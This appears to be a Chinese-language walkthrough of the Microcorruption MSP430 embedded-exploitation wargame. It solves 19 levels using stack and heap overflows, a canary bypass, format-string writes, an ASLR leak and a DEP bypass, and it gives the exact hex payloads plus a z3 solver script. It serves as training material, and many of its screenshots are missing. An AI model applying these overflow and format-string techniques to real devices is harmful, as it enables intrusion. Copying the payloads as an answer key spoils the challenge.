Microcorruption靶场通关教程(pwn方向)
2020-12-21 09:51:09 Author: www.freebuf.com(查看原文) 阅读量:105 收藏

近期得空做了下Microcorruption,一个pwn方向的基础靶场。靶场做得很不错,可以在线通过网页对程序进行调试,操作性强,趣味性也不错,在开开心心打怪的同时还能掉不少装备,官方解释:(学到很多基础知识,进一步巩固了pwn方向的基本功),寓教于乐。靶场的操作也很简单,需要掌握的命令不多,关键的几个:s  单步 c 运行 b 断点 r 查看内存或寄存器的值,整个靶场的重心在于对代码的理解以及基础知识的掌握,个人做完后感觉还是很有收获的,现将writeup记录下来与大家交流一下。

1、Tutorial

关键代码:

就是计算输入密码的位数,只要位数符合为8位就可以。

2、New Orleans

关键代码:

到这里正确密码已经知道了。

3、Sydney

关键代码:

这里0x3152是具体的16进制数值,不是地址,所以就是数值之间的比较,因为内存中数值的顺序还需要调换,所以正确的就应该是5231;

最终正确的答案就是这个,这里可以直接用16进制输入,也可以直接输入字母,用16进制时记得勾选,然后也不需要加0x,默认就是16进制了。

4、hanoi

关键代码:

password的最后一位保证是0xe0就可以满足条件了。

随后的题都是溢出相关的了。

5、cusco

需要保证r15经过test函数后不为0,在继续看test函数;入栈前的状态;

运行完后没发现

mov指令结束后r15就清零了;无论密码正确与否,所以此题不是单纯的反汇编,还涉及到栈溢出;
通过简单分析可以看到,程序调用了INT函数,根据LockIT Pro用户手册第7页,可以看到INT函数的作用是将中断号压入栈中,然后调用系统中断,在 <INT>上方正是将“0x7d”压入栈中,所以这是调用INT 0x7d中断。

尝试输入若干个“A”,测试一下看看它是否会覆盖什么;

我们在login函数的ret指令处下断点,并运行到ret指令的地址0x453e。

sp;栈指针,pc;代码的运行地址;

sp寄存器指向的正是login的返回地址,关于ret指令的作用,msp430手册中说明,将当前sp指向的栈中的返回地址移动到pc寄存器,也就是相当于pop和 jmp的操作,所以可改变程序的执行流程。

返回地址可以被我们输入的数据覆盖,那么我们就利用这一点,来达到劫持程序流程的目的。首先我们确定返回地址的偏移,返回地址在0x43fe的位置,而我们的密码在0x43ee,所以它的偏移在+0x10的位置。确定偏移后,需要填充返回地址,返回时执行我们希望执行的代码,既然我们的目的是解锁,那么不如将unlock_door解锁函数的地址0x4446作为填充。

一切准备之后,开始进行栈溢出漏洞利用,别忘了返回地址的字节序。

payload:使用十六进制输入:414141414141414141414141414141414644。

6、reykjavik

这里有一个加密函数,一个隐藏的2400;

看到2400是有代码的,所以要想办法进行编译;

找到了关键的位置,还是需要动态调试下的;基址是2400;相对偏移是48,所以需要在2448处下个断点看看数值;

在断点处停了下来,可以开到正确值为5d3a;注意输入时要改成16进制的方式;

7、whitehorse

审计源码,发现与cusco很类似,需要自己修改ret的返回地址来控制程序的执行流程,不同在于cusco有函数可以利用,而这里是没有函数可以利用的,需要自己添加shellcode;

ret的地址为34d0,经过构造,可以控制返回地址去执行我们自己的shellcode;

在根据msp430手册说明;

需要调用<INT>函数,0x7F作为参数传入;

因此payload可以构造为:4141414141414141414141414141414160447f

8、montevideo

通过输入进行测试;

同上题一样,是可以通过输入控制返回地址的;

payload为:4141414141414141414141414141414160447f

9、johannesburg

栈溢出的思路是一样的,但这里多了canary限制,是需要绕过的;

有个canary的比较,如果不对会跳转到异常的处理;所以构造的payload为;

4141414141414141414141414141414141824644

10、santa cruz

这题的难点在于对输入的判断条件很多,要一步一步的测试,最终让程序正常往下运行即可;

输入aaaa、bbbb进行测试;

username在0x43a2,password在0x43b5,栈指针at 0x43a0,返回地址0x43cc;

最终的payload为:

Username : 6161616161616161616161616161616161016161616161616161616161616161616161616161616161614a44

Password : 626262626262626262626262626262626200

11、Jakarta

与上题类似,重点也在于输入判断条件的绕过;

最终payload:

username:

6161616161616161616161616161616161616161616161616161616161616161

password:

616161614c446262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262

12、Addis Adaba

观察主函数;

看到很多printf函数,自然联想到可能考察的是格式化字符串漏洞;

找到关键的跳转位置;

想办法让448a处不满足跳转的条件,程序就可以往下执行到call了;利用了printf的漏洞,构造payload:08322569256e,即:0832%i%n

13、Novosibirsk

观察主函数;

还是同样利用了printf的漏洞来绕过;

重点在于要给函数<INT>压入参数0x7e,%n将用0x7f覆盖0x7e;所以payload构造为:

44c8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%n

转换为16进制为:

c8446161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161256e

14、Algiers

观察主函数;

这里考察的是最基本的堆溢出;

输入:

user: aaaa

pass: bbbb

根据堆溢出的原理,查看free的返回地址;

4562是free的返回地址;4444也是改变程序流程的地址;

构造payload为:

user : 61616161616161616161616161616161444462450100

pass: <blank>

15、Vladivostok

观察主函数;

这里用到了地址随机化保护,同时也用到printf漏洞;

先通过%x%x泄露printf的地址,

然后计算偏移:0x48ec – 0x476a = 0x182,根据偏移算出函数<INT>的实际地址;同时还要给<INT>函数压入参数0x7F。

因此payload的公式为:8字节+(printf_addr + 0x182) + 2 字节 + 7f00

根据题目,我这里的实际payload为:4141414141414141d86d41417f00

16、Lagos

观察函数;

没有可直接利用函数来解锁;

输入:111122223333

所给的输入空间为200字节;

我们这里直接利用<getsn>函数里的<INT>;

网站自带的小工具,可以将汇编码转为机器码;

再想办法将shellcode写入bss去执行,(因为这里空间大小不够,所以跳到bss去写入shellcode);
最终payload为:

Password : 41414141414141414141414141414141415446304430443044

Password : 30127f00b012fc45

17、Bangalore

观察函数,发现:

注意到这里开启了DEP,数据在栈上不可执行;

输入:6161616161616161616161616161616161616161进行测试;

运行程序发现报错:Segmentation Fault: can not execute write-only page.

需要先调用该函数来解除DEP保护;因此我们payload的结构为:shellcode+填充字节+函数

mark_page_executable地址+内存页面值+shellcode地址;

shellcode:

mov #0xff00, sr

call #0x10

最终payload为:‘324000ffb0121000′ + ’61’ * 8 + ‘ba44’ + ‘3f00’ + ‘0000’ + ‘ee3f

18、Chernobyl

倒数第二关的Boss,难度是配的上这个位置的。。。堆溢出的题目,溢出思路:

贴上大佬的一个脚本;

Password: 6e6577203020313b6e6577203820313b6e6577204820313b6e6577205020313b6e657720ca3d0101feff3420313b6e657720ca3da250b9f48a505c51feff3020313b6e6577205820313b6e6577206820313b6e6577207020313b6e6577207820313b6e657720303020313b6e657720303820313b324000ff30401000

19、Hollywood

终极boss,难度上来说一点毛病没有;

使用脚本来转化下,便于IDA分析;

#!/usr/bin/env python

import sys

if len(sys.argv) < 2:
    print 'Usage : %s <msp430.dump> > msp430.bin' % sys.argv[0]
    quit()
    
with open(sys.argv[1], 'r') as f:
    data = f.read()
    
data = data.split('\n')

last_addr = 0x0000
def addLine(addr, line):
    return '00' * (addr - last_addr - 16) + line

bin = ''
for line in data:
    if len(line) < 1:
        continue
    l = line[8:48]
    if l[0] == '*':
        continue
    bin += addLine(int(line[:4],16),l.replace(' ',''))
    last_addr = int(line[:4],16)
    
print bin.decode('hex')

1608510661_5fdfecc5dd378870f60c5.png!small?1608510662286

最终脚本;

from z3 import *

def itera(r4, r6, val):
	return (r6 ^ val, RotateLeft(r4 + val,8))

def hashfun(values):
	r4 = 0
	r6 = 0
	for v in values:
		(r4, r6) = itera(r4, r6, v)
	return (r4, r6)

def solve():
	for length in range(2,50, 1):
		values = [BitVec(chr(41+i), 16) for i in range(length)]
		(r4_f, r6_f) = hashfun(values)
		s = Solver()
		s.add(r4_f == 0xfeb1)
		s.add(r6_f == 0x9298)
		if s.check() == sat:
			print 'solution of len %2d: ' % length,
			m = s.model()
			final = ''
			for x in values:
				l = m[x].as_long()
				final += '%02x%02x' % (l & 0xff, l >> 8 & 0xff)
			print final

if __name__ == '__main__':
	solve()

Password : 1220833eef6b

答案参考

最后贴上自己做的答案,供大家参考;


文章来源: https://www.freebuf.com/articles/terminal/258376.html
如有侵权请联系:admin#unsafe.sh